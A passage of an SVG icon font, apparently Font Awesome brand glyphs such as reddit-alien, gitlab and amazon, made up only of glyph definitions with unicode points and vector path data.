c-131.5 6.10059 -236.1 114.601 -236.1 247.7c0 137 111 248 248 248h0.799805c63.1006 -0.299805 120.7 -24.0996 164.4 -63.0996c-29 19.3994 -63.1006 30.3994 -99.2998 30.3994zM415.7 17.5996c-40.9004 -24.6992 -90.7002 -23.5996 -132 5.80078
c56.2002 20.5 97.7002 91.5996 97.7002 176.6c0 84.7002 -41.2002 155.8 -97.4004 176.6c41.7998 29.2002 91.2002 30.3008 132.9 5c105.899 -98.6992 105.5 -265.699 -1.2002 -364z" />
    <glyph glyph-name="internet-explorer" unicode="&#xf26b;" horiz-adv-x="512" 
d="M483.049 288.294c25.1963 -45.4473 33.2578 -97.5811 26.8516 -141.162h-328.792c0 -100.432 144.31 -136.029 196.818 -47.4355h120.833c-32.5645 -91.7285 -119.689 -146.022 -216.813 -146.022c-35.1367 0 -70.2725 0.143555 -101.695 15.5732
c-87.3975 -44.4941 -180.251 -56.5693 -180.251 42.0059c0 45.8066 23.2461 107.096 43.9922 145.022c35.1357 63.7227 81.4121 124.875 135.687 173.168c-43.7061 -18.8604 -91.125 -66.2959 -121.977 -101.158c25.877 112.787 129.466 193.638 237.098 186.457
c130.032 59.7939 209.673 34.1445 209.673 -38.5771c0 -27.4326 -10.5684 -63.2959 -21.4238 -87.8711zM64.5586 101.123c-73.001 -152.4 11.5254 -172.244 100.267 -123.304c-46.5635 27.4326 -82.5557 72.1533 -100.267 123.304zM180.536 209.996h207.961
c-2 55.1514 -50.5635 94.8711 -103.981 94.8711c-53.7041 0 -101.979 -39.7197 -103.979 -94.8711zM365.072 397.596c46.2764 -18.002 85.9824 -57.2939 112.263 -99.5859c7.1416 18.8604 14.5693 47.8643 14.5693 67.8672c0 32.0049 -22.8525 53.7217 -54.2744 53.7217
c-23.9951 0 -51.1328 -11.7158 -72.5576 -22.0029z" />
    <glyph glyph-name="contao" unicode="&#xf26d;" horiz-adv-x="512" 
d="M45.4004 143c14.3994 -67.0996 26.3994 -129 68.1992 -175h-79.5996c-18.7002 0 -34 15.2002 -34 34v380c0 18.7002 15.2002 34 34 34h57.7002c-13.7998 -12.5996 -26.1006 -27.2002 -36.9004 -43.5996c-45.3994 -70 -27 -146.801 -9.39941 -229.4zM478 416
c18.7998 0 34 -15.2002 34 -34v-380.1c0 -18.8008 -15.2998 -34 -34 -34h-52.0996c38.6992 38.3994 60.5996 92.0996 57.3994 163.6l-137.399 -29.5996c-1.7002 -32.5 -12.9004 -63.8008 -57.4004 -73.2002c-24.9004 -5.2998 -45.4004 0.599609 -58.2998 11.7002
c-15.7998 13.5 -28.4004 31 -49.5 131.199c-21.4004 100.5 -17 121.601 -8.2002 140.301c7.2998 15.2998 23.7002 29.2998 48.2998 34.5996c44.7998 9.40039 67.7002 -14.9004 82.6006 -43.9004l137.1 29.3008c-13.5 34.5996 -31.2998 62.6992 -52.7002 84.0996h90.2002z
" />
    <glyph glyph-name="500px" unicode="&#xf26e;" 
d="M103.3 103.7c-6.5 14.2002 -6.89941 18.2998 7.40039 23.0996c25.5996 8 8 -9.2002 43.2002 -49.2002h0.299805v93.9004c1.2002 50.2002 44 92.2002 97.7002 92.2002c53.8994 0 97.6992 -43.5 97.6992 -96.7998c0 -63.4004 -60.7998 -113.2 -128.5 -93.3008
c-10.5 4.2002 -2.09961 31.7002 8.5 28.6006c53 0 89.4004 10.0996 89.4004 64.3994c0 61 -77.0996 89.6006 -116.9 44.6006c-23.5 -26.4004 -17.5996 -42.1006 -17.5996 -157.601c50.7002 -31 118.3 -22 160.4 20.1006c24.7998 24.7998 38.5 58 38.5 93
c0 35.2002 -13.8008 68.2002 -38.8008 93.2998c-24.7998 24.7998 -57.7998 38.5 -93.2998 38.5s-68.7998 -13.7998 -93.5 -38.5c-0.299805 -0.299805 -16 -16.5 -21.2002 -23.9004l-0.5 -0.599609c-3.2998 -4.7002 -6.2998 -9.09961 -20.0996 -6.09961
c-6.90039 1.69922 -14.2998 5.7998 -14.2998 11.7998v186.8c0 5 3.89941 10.5 10.5 10.5h241.3c8.2998 0 8.2998 -11.5996 8.2998 -15.0996c0 -3.90039 0 -15.1006 -8.2998 -15.1006h-223.2v-132.899h0.299805c104.2 109.8 282.801 36 282.801 -108.9
c0 -178.1 -244.801 -220.3 -310.101 -62.7998zM166.6 364.5c3.80078 18.7998 145.101 50.7998 238.301 -38.2002c8.5 -7.5 -9.5 -22.7998 -14.3008 -22.7998c-6.59961 0 -84.5996 87.9004 -209.399 40.4004c-10 -3.90039 -15.1006 16.3994 -14.6006 20.5996zM393 33.2998
c8.09961 8 27.5996 -12.5996 20.7002 -20.3994c-135.601 -135.601 -357.601 -52.1006 -381.601 121.3c-1.5 10.7002 28.9004 15.5 28.9004 3.2998c33 -165 222 -214.1 332 -104.2zM213.6 141.4c0 3.39941 2.30078 4.69922 20.4004 22.5996l-18.2002 18.2002
c-5.59961 5.59961 7.40039 17.2998 12.4004 17.2998c3.09961 0 2.89941 -0.700195 21.5 -19.5l17.8994 17.9004c6.10059 6.09961 22.5 -8.90039 16.2002 -15.7002l-18.2002 -18.2002l17.3008 -17.2998c7.7998 -7.7998 -5.30078 -18.2002 -10.7002 -18.2002
c-3.2002 0 -2.7002 0.200195 -22.2998 19.5c-19.7002 -19.7002 -18.5 -19.5 -22.3008 -19.5c-2.39941 0 -5.5 1.40039 -8.5 4.40039c-1.19922 1.19922 -5.5 4.5 -5.5 8.5z" />
    <glyph glyph-name="amazon" unicode="&#xf270;" 
d="M257.2 285.3c0 39.2998 5.2002 69.2002 -35.5 69.1006c0 0 -37.9004 0 -54.2002 -49.5l-73.5 6.7998c0 49.2998 46.7002 104.3 134.7 104.3c87.7998 0 112.3 -57 112.3 -82.2998v-147.101c0 -27.5 32.2998 -52.7998 32.2998 -52.7998l-56.7998 -56
c-9.90039 9.2998 -38.7998 36.6006 -45.2998 46.7998c-45.2002 -70.7998 -183.5 -66.2998 -183.5 43.2002c0 102 120.8 115.7 169.5 117.5zM257.2 198.5v40.5996c-33.7002 -1.09961 -84.2002 -10.5996 -84.2002 -57.7998c0 -50.7998 84.2002 -62.7998 84.2002 17.2002z
M393.2 35c-7.7002 -10 -70 -67 -174.5 -67s-184.5 71.5 -209 101c-6.7998 7.7002 1 11.2998 5.5 8.2998c73.2998 -44.5 187.8 -117.8 372.5 -30.2998c7.5 3.7002 13.2998 -2 5.5 -12zM433 32.7998c-6.5 -15.7998 -16 -26.7998 -21.2002 -31
c-5.5 -4.5 -9.5 -2.7002 -6.5 3.7998s19.2998 46.5 12.7002 55c-6.5 8.30078 -37 4.30078 -48 3.2002c-10.7998 -1 -13 -2 -14 0.299805c-2.2998 5.7002 21.7002 15.5 37.5 17.5c15.7002 1.80078 41 0.800781 46 -5.69922c3.7002 -5.10059 0 -27.1006 -6.5 -43.1006z" />
    <glyph glyph-name="houzz" unicode="&#xf27c;" 
d="M275.9 117.3h-104.601v-149.3h-154.3v448h109.5v-104.5l305.1 -85.5996v-257.9h-155.699v149.3z" />
    <glyph glyph-name="vimeo-v" unicode="&#xf27d;" 
d="M447.8 294.4c-2 -43.6006 -32.3994 -103.301 -91.3994 -179.101c-60.9004 -79.2002 -112.4 -118.8 -154.601 -118.8c-26.0996 0 -48.2002 24.0996 -66.2998 72.2998c-35.2002 129.2 -50.2002 204.9 -79.2998 204.9c-3.40039 0 -15.1006 -7.10059 -35.2002 -21.1006
l-21 27.2002c51.5996 45.2998 100.9 95.7002 131.8 98.5c34.9004 3.40039 56.2998 -20.5 64.4004 -71.5c28.7002 -181.5 41.3994 -208.899 93.5996 -126.7c18.7002 29.6006 28.7998 52.1006 30.2002 67.6006c4.7998 45.8994 -35.7998 42.7998 -63.2998 31
c22 72.0996 64.0996 107.1 126.2 105.1c45.7998 -1.2002 67.5 -31.0996 64.8994 -89.3994z" />
    <glyph glyph-name="black-tie" unicode="&#xf27e;" 
d="M0 416h448v-448h-448v448zM316.5 90.7998l-64.5 184l64.4004 86.6006h-184.9l64.5 -86.6006l-64.5 -184l92.5 -88.7002z" />
    <glyph glyph-name="fonticons" unicode="&#xf280;" 
d="M0 416h448v-448h-448v448zM187 275.1c11.9004 0 16.5996 -4.2998 16.2998 -23l50.7002 6.10059c0 44.5996 -30.5996 52.7998 -64.7002 52.7998c-50.7998 0 -77.2998 -20.4004 -77.2998 -70v-21h-28v-37.4004h22.2002c2.89941 0 5.7998 0 5.7998 -2.2998v-111.399
c0 -5.60059 -1.5 -7.30078 -6.7002 -7.90039l-21.2998 -2v-25.7002h130.7v25.1006l-43.5 4.09961c-5.2002 0.599609 -3.2002 1.5 -3.2002 7.2998v112.9h55.7002l11.0996 37.2998h-67.3994c-2.90039 0 0.599609 2 0.599609 4.40039v23.2998
c0 17.5 0.599609 27.3994 19 27.3994zM261.3 33.2998h102.601v25.1006l-15.7002 2.59961c-5.5 0.900391 -2.90039 1.5 -2.90039 7.2998v151.7h-80.2002l-6.69922 -29.5l24.1992 -6.40039c3.80078 -1.19922 6.7002 -3.7998 6.7002 -7.89941v-107.9
c0 -5.59961 -2.39941 -6.7002 -7.59961 -7.2998l-20.4004 -2.59961v-25.1006zM342.1 288.8l21.9004 24.2002l-3.5 9.59961h-27.7002l-15.5 28h-9.2998l-15.5 -28h-27.7002l-3.5 -9.59961l21.7998 -24.2002l-9 -33.2002l7.30078 -7.2998l31.1992 16.6006l31.2002 -16.6006
l7.2998 7.2998z" />
    <glyph glyph-name="reddit-alien" unicode="&#xf281;" horiz-adv-x="512" 
d="M440.3 244.5c55.2998 0 73.7002 -74.0996 23.7998 -99.7002c2.2002 -7.89941 3.10059 -16.7002 3.10059 -25.0996c0 -83.7998 -94.4004 -151.7 -210.8 -151.7c-115.9 0 -210.301 67.9004 -210.301 151.7c0 8.39941 0.800781 16.7998 2.60059 24.7002
c-50.9004 25.5 -32.7002 100.1 22.8994 100.1c15 0 28.7002 -6.2002 38.4004 -16.2998c35.7998 24.7002 83.4004 40.5996 136.3 42.7998l30.4004 137.6c1.2998 4.90039 6.09961 8.40039 11 7.10059l97.3994 -21.6006c6.60059 12.7002 19.9004 22 35.3008 22
c22.0996 0 39.6992 -18.0996 39.6992 -39.6992c0 -21.6006 -17.6992 -39.7002 -39.6992 -39.7002c-21.6006 0 -39.2002 17.5996 -39.2002 39.2002l-88.2002 19.7998l-27.7002 -124.8c53.2998 -1.7002 101.4 -17.6006 137.101 -42.3008
c9.69922 9.7002 22.8994 15.9004 37.8994 15.9004zM129.4 139.1c0 -21.5996 17.6992 -39.2998 39.6992 -39.1992c21.6006 0 39.2002 17.5996 39.2002 39.1992c0 22.1006 -17.5996 39.7002 -39.2002 39.7002c-22.0996 0 -39.6992 -17.7002 -39.6992 -39.7002zM343.7 45.5996
c4 3.5 4 9.7002 -0.100586 13.7002c-3.5 3.5 -9.69922 3.5 -13.1992 0c-29 -29 -121.2 -28.5 -149 0c-3.5 3.5 -9.7002 3.5 -13.2002 0c-4 -4 -4 -10.2002 0 -13.7002c36.3994 -36.3994 139.1 -36.3994 175.5 0zM342.9 99.7998c22 0 39.5996 17.7002 39.6992 39.2002
c0 22.0996 -17.6992 39.7002 -39.6992 39.7002c-21.6006 0 -39.2002 -17.7002 -39.2002 -39.7002c0 -21.5996 17.5996 -39.2002 39.2002 -39.2002z" />
    <glyph glyph-name="edge" unicode="&#xf282;" horiz-adv-x="512" 
d="M25.7139 219.837c0.111328 0.162109 0.230469 0.323242 0.341797 0.485352c-0.0205078 -0.162109 -0.0449219 -0.323242 -0.0644531 -0.485352h-0.277344zM486.286 204.329l0.000976562 -52.0645h-314.073c1.38379 -128.497 191.392 -124.065 272.255 -67.5713v-104.404
c-47.3555 -28.5244 -156.774 -53.1709 -240.132 -21.3242c-70.6191 27.1406 -119.913 100.528 -120.743 171.977c-1.10742 92.2188 45.6943 153.422 120.742 188.314c-15.7852 -19.9395 -27.9697 -41.54 -34.3389 -78.9258h175.853
c10.2471 104.957 -99.4189 104.957 -99.4189 104.957c-103.302 -3.58984 -177.945 -63.6543 -220.375 -124.966c14.5615 114.465 92.9062 219.955 232.837 219.678c85.0195 0 157.605 -39.8779 198.593 -113.265c21.0469 -37.9404 28.8008 -78.373 28.8008 -122.405z" />
    <glyph glyph-name="codiepie" unicode="&#xf284;" horiz-adv-x="472" 
d="M422.5 245.1c30.7002 0 33.5 -53.0996 -0.299805 -53.0996h-10.7998v-44.2998h-26.6006v97.3994h37.7002zM472 95.4004c-42.0996 -91.9004 -121.6 -151.4 -224 -151.4c-137 0 -248 111 -248 248s111 248 248 248c97.4004 0 172.8 -53.7002 218.2 -138.4l-186 -108.8z
M433.5 82.9004l-60.2998 30.6992c-27.1006 -44.2998 -70.4004 -71.3994 -122.4 -71.3994c-82.5 0 -149.2 66.7002 -149.2 148.899c0 82.5 66.7002 149.2 149.2 149.2c48.4004 0 88.9004 -23.5 116.9 -63.3994l59.5 34.5996c-40.7002 62.5996 -104.7 100 -179.2 100
c-121.2 0 -219.5 -98.2998 -219.5 -219.5s98.2998 -219.5 219.5 -219.5c78.5996 0 146.5 42.0996 185.5 110.4z" />
    <glyph glyph-name="modx" unicode="&#xf285;" 
d="M356 206.2l36.7002 -23.7002v-214.5l-133 83.7998zM440 373l-83.2002 -134.3l-153.5 96.5l23 37.7998h213.7zM351 230.2l-249.8 -57.7002l-46 29v214.5zM97 153.8l249.7 57.7002l-125 -200.5h-213.7z" />
    <glyph glyph-name="fort-awesome" unicode="&#xf286;" horiz-adv-x="512" 
d="M489.2 160.1c2.59961 0 4.59961 -2 4.5 -4.59961v-219.5h-182.9v96c0 72.5996 -109.7 72.5996 -109.7 0v-96h-182.899v219.5c0 2.59961 2 4.59961 4.59961 4.59961h27.4004c2.59961 0 4.59961 -2 4.59961 -4.59961v-32h36.6006v178.3
c0 2.60059 2 4.60059 4.59961 4.60059h27.4004c2.59961 0 4.59961 -2 4.59961 -4.60059v-32h36.2998v32c0 2.60059 2 4.60059 4.60059 4.60059h27.3994c2.60059 0 4.60059 -2 4.60059 -4.60059v-32h36.5996v32c0 6 8 4.60059 11.7002 4.60059v111.699
c-5.40039 2.60059 -9.10059 8.30078 -9.10059 14.3008c0 20.7998 31.4004 20.6992 31.4004 0c0 -6 -3.7002 -11.7002 -9.09961 -14.3008v-4.89941c7.69922 1.7998 15.6992 2.89941 23.6992 2.89941c11.7002 0 22.9004 -4.2998 32.6006 -4.2998
c8.89941 0 18.8994 4.2998 24 4.2998c2.59961 0 4.59961 -2 4.59961 -4.59961v-60c0 -6.90039 -23.0996 -8 -27.7002 -8c-10.5 0 -20.5 4.2998 -31.3994 4.2998c-8.60059 0 -17.4004 -1.39941 -25.7002 -3.39941v-38c3.7002 0 11.7002 1.39941 11.7002 -4.60059v-32h36.5996
v32c0 2.60059 2 4.60059 4.60059 4.60059h27.3994c2.60059 0 4.60059 -2 4.60059 -4.60059v-32h36.5996v32c0 2.60059 2 4.60059 4.59961 4.60059h27.4004c2.59961 0 4.59961 -2 4.59961 -4.60059v-178.3h36.6006v32c0 2.59961 2 4.59961 4.59961 4.59961h27.4004z
M201.1 164.6v64c0 2.60059 -2 4.60059 -4.59961 4.60059h-27.4004c-2.59961 0 -4.59961 -2 -4.59961 -4.60059v-64c0 -2.59961 2 -4.59961 4.59961 -4.59961h27.4004c2.59961 0 4.59961 2 4.59961 4.59961zM347.5 164.6v64c0 2.60059 -2 4.60059 -4.59961 4.60059h-27.4004
c-2.59961 0 -4.59961 -2 -4.59961 -4.60059v-64c0 -2.59961 2 -4.59961 4.59961 -4.59961h27.4004c2.59961 0 4.59961 2 4.59961 4.59961z" />
    <glyph glyph-name="usb" unicode="&#xf287;" horiz-adv-x="640" 
d="M641.5 192c0 -3.09961 -1.7002 -6.09961 -4.5 -7.5l-89.0996 -53.5c-1.40039 -0.799805 -2.80078 -1.40039 -4.5 -1.40039c-1.40039 0 -3.10059 0.300781 -4.5 1.10059c-2.80078 1.7002 -4.5 4.5 -4.5 7.7998v35.5996h-238.7
c25.2998 -39.5996 40.5 -106.899 69.5996 -106.899h26.7002v26.7998c0 5 3.90039 8.90039 8.90039 8.90039h89.0996c5 0 8.90039 -3.90039 8.90039 -8.90039v-89.0996c0 -5 -3.90039 -8.90039 -8.90039 -8.90039h-89.0996c-5 0 -8.90039 3.90039 -8.90039 8.90039v26.6992
h-26.7002c-75.3994 0 -81.0996 142.5 -124.7 142.5h-100.3c-8.09961 -30.5996 -35.8994 -53.5 -69 -53.5c-39.2998 0.100586 -71.2998 32.1006 -71.2998 71.4004s32 71.2998 71.2998 71.2998c33.1006 0 61 -22.7998 69 -53.5c39.1006 0 43.9004 -9.5 74.6006 60.4004
c40.0996 89.0996 58.0996 82.0996 108.899 82.0996c7.5 20.9004 27 35.6006 50.4004 35.6006c29.5 0 53.5 -23.9004 53.5 -53.5c0 -29.6006 -23.9004 -53.5 -53.5 -53.5c-23.4004 0 -42.9004 14.7998 -50.4004 35.5996h-29.7998
c-29.0996 0 -44.2998 -67.4004 -69.5996 -106.9h310.1v35.6006c0 3.2998 1.7002 6.09961 4.5 7.7998s6.40039 1.40039 8.90039 -0.299805l89.0996 -53.5c2.7998 -1.10059 4.5 -4.10059 4.5 -7.2002z" />
    <glyph glyph-name="product-hunt" unicode="&#xf288;" horiz-adv-x="512" 
d="M326.3 229.2c0 -20.5 -16.7002 -37.2002 -37.2002 -37.2002h-70.2998v74.4004h70.2998c20.5 0 37.2002 -16.7002 37.2002 -37.2002zM504 192c0 -137 -111 -248 -248 -248s-248 111 -248 248s111 248 248 248s248 -111 248 -248zM375.9 229.2
c0 47.8994 -38.9004 86.7998 -86.8008 86.7998h-119.899v-248h49.5996v74.4004h70.2998c47.9004 0 86.8008 38.8994 86.8008 86.7998z" />
    <glyph glyph-name="mixcloud" unicode="&#xf289;" horiz-adv-x="640" 
d="M424.43 228.271c42.3623 -9.1377 74.4805 -47.0693 74.4805 -92.2002c0 -52.3311 -42.6406 -94.6934 -94.9688 -94.6934h-289.614c-62.5752 0 -113.243 50.668 -113.243 112.966c0 56.7598 42.085 103.554 96.6299 111.582
c22.9814 67.5586 86.9395 114.074 159.205 114.074c87.2158 0 159.205 -66.7266 167.511 -151.729zM403.941 83.7412c29.0713 0 52.6064 23.5352 52.6064 52.3301c0 22.1494 -14.1211 40.9766 -33.502 48.4531c-1.38477 -8.58301 -3.59961 -17.166 -6.36914 -25.4727
c-8.01367 -25.6484 -49.0898 -14.2266 -40.1465 13.29c4.15332 12.7373 6.36914 26.0264 6.36914 39.5938c0 69.2197 -56.4834 125.702 -125.979 125.702c-49.8379 0 -94.6934 -29.626 -114.628 -73.9258c19.3809 -4.98438 37.3779 -14.9512 52.0527 -29.3486
c19.9531 -19.9531 -10.2168 -50.1436 -30.1797 -30.1807c-13.29 13.291 -31.0107 20.7666 -49.8379 20.7666c-39.04 0 -70.8809 -31.5645 -70.8809 -70.6045s31.8408 -70.6035 70.8809 -70.6035h289.614zM639.01 136.071c0 -44.0244 -12.7363 -86.3867 -37.1016 -122.657
c-4.15332 -6.0918 -10.7979 -9.41406 -17.7197 -9.41406c-16.3174 0 -27.1279 18.8262 -17.4434 32.9492c19.3809 29.3486 29.9033 63.6816 29.9033 99.1221c0 35.4395 -10.5215 69.7725 -29.9033 98.8447c-15.6553 22.8311 19.3613 47.2402 35.1631 23.5342
c24.3662 -35.9932 37.1016 -78.3564 37.1016 -122.379zM568.13 136.071c0 -31.5654 -9.13672 -62.0215 -26.8564 -88.3252c-4.15332 -6.09082 -10.7988 -9.13574 -17.7207 -9.13574c-17.2012 0 -27.0215 18.9785 -17.4424 32.9473
c13.0127 19.1045 19.6572 41.2559 19.6572 64.5137c0 22.9805 -6.64453 45.4072 -19.6572 64.5117c-15.7617 22.9863 19.0078 47.0947 35.1631 23.5352c17.7188 -26.0264 26.8564 -56.4834 26.8564 -88.0469z" />
    <glyph glyph-name="scribd" unicode="&#xf28a;" horiz-adv-x="384" 
d="M42.2998 195.3c-16.0996 19 -24.7002 45.9004 -24.7998 79.9004c0 100.399 75.2002 153.1 167.2 153.1c98.5996 1.60059 156.8 -49 184.3 -70.5996l-50.5 -72.1006l-37.2998 24.6006l26.8994 38.5996c-36.5 24 -79.3994 36.5 -123 35.7998
c-50.6992 0.800781 -111.699 -27.1992 -111.699 -76.1992c0 -18.7002 11.1992 -20.7002 28.5996 -15.6006c23.2998 5.2998 41.9004 -0.599609 55.7998 -14c26.4004 -24.2998 23.2002 -67.5996 -0.700195 -91.8994c-29.1992 -29.5 -85.1992 -27.3008 -114.8 8.39941z
M360 189.4c33.9004 -40.4004 36.7998 -138.2 -20.2998 -189.601c-39.2002 -33.5996 -82.2002 -44.0996 -133.601 -44.0996c-70.2998 -0.299805 -138.199 25.3994 -190.699 72.2002l-15.4004 13.7998l60.7998 71.7998l35.6006 -27.4004l-33.7002 -39.3994
c41.7002 -30.9004 92.2002 -47.5 144.1 -47.2998c61.9004 0 104.7 23.5 121.4 64.3994c0.899414 4.2002 1.39941 8.40039 1.39941 12.7002c0 18.7002 -11.1992 20.7002 -28.5996 15.5996c-23.2998 -5.2998 -42.2002 0.5 -56.2998 14.4004
c-12.4004 11.2998 -19.1006 27.5 -18.4004 44.2998c-0.599609 39.2002 32.4004 69.2002 70.5 67.2002c24.2998 0.799805 47.7002 -9.7998 63.2002 -28.5996z" />
    <glyph glyph-name="bluetooth" unicode="&#xf293;" 
d="M292.6 276.9l-42.8994 -42.9004l-0.299805 86zM249.4 57.0996l0.199219 86l42.9004 -42.8994zM416 188.6c0 -205.6 -71.9004 -252.6 -185.1 -252.6c-113.2 0 -198.9 47 -198.9 252.6c0 205.601 83.4004 259.4 196.6 259.4c113.2 0 187.4 -53.9004 187.4 -259.4z
M257.5 188.6l79.4004 88.6006l-125.101 134.3v-176.9l-73.7998 73.8008l-27 -26.9004l92.7002 -93l-92.7002 -93l26.9004 -26.9004l73.7998 73.8008l2.2998 -170l127.4 127.5z" />
    <glyph glyph-name="bluetooth-b" unicode="&#xf294;" horiz-adv-x="320" 
d="M196.48 187.977l97.9111 -103.333l-148.552 -148.644l-2.71484 198.284l-86.1113 -86.1113l-31.4053 31.4053l108.061 108.398l-108.061 108.399l31.4053 31.4053l86.1113 -86.1113v206.33l145.981 -156.69zM237.34 290.973l-50.3145 50.3174l0.337891 -100.295z
M187.363 134.96l-0.337891 -100.294l50.3145 50.3164z" />
    <glyph glyph-name="gitlab" unicode="&#xf296;" horiz-adv-x="512" 
d="M105.2 423.1c0 0 56.5 -174.8 56.5996 -174.8h-132l56.5 174.8c3.2002 8.90039 15.7998 8.90039 18.9004 0zM0.900391 160.3l28.7998 88l226.2 -294l-247.9 184c-6.7998 5.10059 -9.7002 14 -7.09961 22zM161.7 248.3h188.6l-94.2998 -294zM511.1 160.3
c2.5 -8 -0.299805 -16.8994 -7.19922 -22l-247.9 -184l226.3 294zM425.7 423.1l56.5 -174.8h-132l56.5996 174.8c3.2002 8.90039 15.7998 8.90039 18.9004 0z" />
    <glyph glyph-name="wpbeginner" unicode="&#xf297;" horiz-adv-x="512" 
d="M462.799 125.626c56.2109 -64.3076 4.16211 -157.626 -91.8545 -157.626c-39.6025 0 -78.8242 17.6865 -100.143 50.04c-6.88672 -0.356445 -22.7021 -0.356445 -29.5898 0c-21.3643 -32.4209 -60.624 -50.04 -100.143 -50.04
c-95.4902 0 -148.349 92.9961 -91.8555 157.626c-79.1387 131.851 31.2646 290.374 206.792 290.374c175.632 0 285.87 -158.626 206.793 -290.374zM123.152 208.598h41.5283v58.0752h-41.5283v-58.0752zM340.332 122.526v23.8389
c-60.5059 -20.915 -132.355 -9.19824 -187.589 33.9707l0.246094 -24.8965c51.1006 -46.3672 131.746 -57.875 187.343 -32.9131zM189.579 208.598h166.058v58.0752h-166.058v-58.0752z" />
    <glyph glyph-name="wpforms" unicode="&#xf298;" 
d="M448 372.8v-361.7c0 -24.2998 -19 -43.1992 -43.2002 -43.1992h-361.6c-23.9004 0.0996094 -43.2002 18.6992 -43.2002 43.2998v361.6c0 24.1006 18.7998 43.2002 43.2002 43.2002h361.7c24 0 43.0996 -18.7998 43.0996 -43.2002zM410.7 11.2002v361.6
c0 3 -2.60059 5.7998 -5.7998 5.7998h-9.30078l-110.3 -74.5996l-61.2998 49.9004l-61.2002 -49.9004l-110.3 74.7002h-9.2998c-3.2002 0 -5.7998 -2.7998 -5.7998 -5.7998v-361.7c0 -3 2.59961 -5.7998 5.7998 -5.7998h361.7
c3.19922 -0.100586 5.7998 2.69922 5.7998 5.7998zM150.2 262v-37h-73.5v37h73.5zM150.2 187.6v-37.2998h-73.5v37.2998h73.5zM161.3 334.9l54 43.6992h-118.5zM371.3 262v-37h-196v37h196zM371.3 187.6v-37.2998h-196v37.2998h196zM286.7 334.9l64.5 43.6992h-118.4z
M371.3 113v-37.2998h-99.3994v37.2998h99.3994z" />
    <glyph glyph-name="envira" unicode="&#xf299;" 
d="M0 416c477.6 0 366.6 -317.3 367.1 -366.3l80.9004 -81.7002h-26l-70.4004 71.2002c-39 -4.2002 -124.399 -34.5 -214.399 37c-90.2002 71.5 -85.2002 157.1 -137.2 339.8zM79.7002 370c-49.7002 23.5 -5.2002 -9.2002 -5.2002 -9.2002
c45.2002 -31.2002 66 -73.7002 90.2002 -119.899c31.5 -60.2002 79 -139.7 144.2 -167.7c65 -28 34.1992 -12.5 6 8.5c-28.2002 21.2002 -68.2002 87 -91 130.2c-31.7002 60 -61 118.6 -144.2 158.1z" />
    <glyph glyph-name="glide" unicode="&#xf2a5;" 
d="M252.8 299.4c0 -8.80078 -1.59961 -17.7002 -3.39941 -26.4004c-5.80078 -27.7998 -11.6006 -55.7998 -17.3008 -83.5996c-1.39941 -6.30078 -8.2998 -4.90039 -13.6992 -4.90039c-23.8008 0 -30.5 26 -30.5 45.5c0 29.2998 11.1992 68.0996 38.5 83.0996
c4.2998 2.5 9.19922 4.2002 14.0996 4.2002c11.4004 0 12.2998 -8.2998 12.2998 -17.8994zM448 368v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352c26.5 0 48 -21.5 48 -48zM384 181c0 5.09961 -20.7998 37.7002 -25.5 39.5
c-2.2002 0.900391 -7.2002 2.2998 -9.59961 2.2998c-23.1006 0 -38.7002 -10.5 -58.2002 -21.5l-0.5 0.5c4.2998 29.4004 14.5996 57.2002 14.5996 87.4004c0 44.5996 -23.7998 62.7002 -67.5 62.7002c-71.7002 0 -108 -70.8008 -108 -123.5c0 -54.7002 32 -85 86.2998 -85
c7.5 0 6.90039 0.599609 6.90039 -2.30078c-10.5 -80.2998 -56.5 -82.8994 -56.5 -58.8994c0 24.3994 28 36.5 28.2998 38c-0.200195 7.59961 -29.2998 17.2002 -36.7002 17.2002c-21.0996 0 -32.6992 -33 -32.6992 -50.6006c0 -32.2998 20.3994 -54.7002 53.2998 -54.7002
c48.2002 0 83.3994 49.7002 94.2998 91.7002c9.40039 37.7002 7 39.4004 12.2998 42.1006c20 10.0996 35.7998 16.7998 58.4004 16.7998c11.0996 0 19 -2.2998 36.7002 -5.2002c1.7998 -0.0996094 4.09961 1.7002 4.09961 3.5z" />
    <glyph glyph-name="glide-g" unicode="&#xf2a6;" 
d="M407.1 236.8c7.5 -2.89941 40.9004 -55.3994 40.9004 -63.3994c0 -2.90039 -3.7998 -5.80078 -6.7002 -5.80078c-28.3994 4.7002 -41.0996 8.40039 -58.8994 8.40039c-36.3008 0 -61.6006 -10.7998 -93.8008 -27c-8.5 -4.2998 -4.59961 -7.09961 -19.6992 -67.5996
c-17.4004 -67.6006 -74 -145.4 -151.4 -145.4c-52.7002 0 -85.5 36 -85.5 87.9004c0 28.0996 18.5 79.1992 52.4004 79.2998c11.8994 0 58.5996 -15.4004 58.8994 -27.6006c-0.5 -2.39941 -45.5 -21.7998 -45.5 -61c0 -38.5 73.9004 -34.2998 90.7998 94.6006
c0 4.7998 1 3.7998 -11 3.7998c-87.2998 0 -138.6 48.7002 -138.6 136.6c0 84.7002 58.2998 198.4 173.4 198.4c70.1992 0 108.399 -29.0996 108.399 -100.6c0 -48.5 -16.5 -93.1006 -23.5 -140.4l0.900391 -0.900391c31.2998 17.7002 56.3994 34.5 93.5 34.5
c3.7998 0 11.8994 -2.39941 15.3994 -3.7998zM231.8 321.2c2.90039 13.8994 5.5 28.0996 5.60059 42.3994c0 15.4004 -1.40039 28.7002 -20 28.7002c-7.80078 0 -15.6006 -2.59961 -22.6006 -6.7002c-43.7998 -24.0996 -61.7998 -86.3994 -61.7998 -133.399
c0 -31.2998 10.7002 -73.1006 49 -73.1006c8.7002 0 19.7002 -2.39941 22 7.80078c9.2002 44.6992 18.5 89.5996 27.7998 134.3z" />
    <glyph glyph-name="viadeo" unicode="&#xf2a9;" 
d="M276.2 297.5v-0.700195c-17.9004 52.6006 -42.6006 103.4 -70.7998 151.2c43.2998 -29.2002 67 -100 70.7998 -150.5zM308.9 175.8c15.0996 3.10059 29.5 9 42.1992 17c24.5 -58.5996 20.2002 -139.7 -36.3994 -201c-67.7998 -73.8994 -191.9 -74.5996 -259.8 0
c-108.801 117.8 -31.6006 313.7 129.899 313.7c21.2998 0 42.6006 -3.5 62.5 -10.7002c-6.89941 -13.3994 -11.7002 -28.2002 -13.3994 -43.2998c-15.4004 6.5 -32.3008 9.59961 -49.1006 9.59961c-78 0 -135.399 -66.6992 -135.399 -142.3
c0 -68.7998 45.5996 -126 111.3 -137.399c98.5 38.3994 116.6 188.199 116.6 280c0 11.6992 0 23.6992 -1 35.3994c12.4004 -36.0996 18.9004 -73.8994 18.9004 -112c0 -86.5 -35.1006 -158.399 -109.3 -205.1l-3.80078 -0.299805
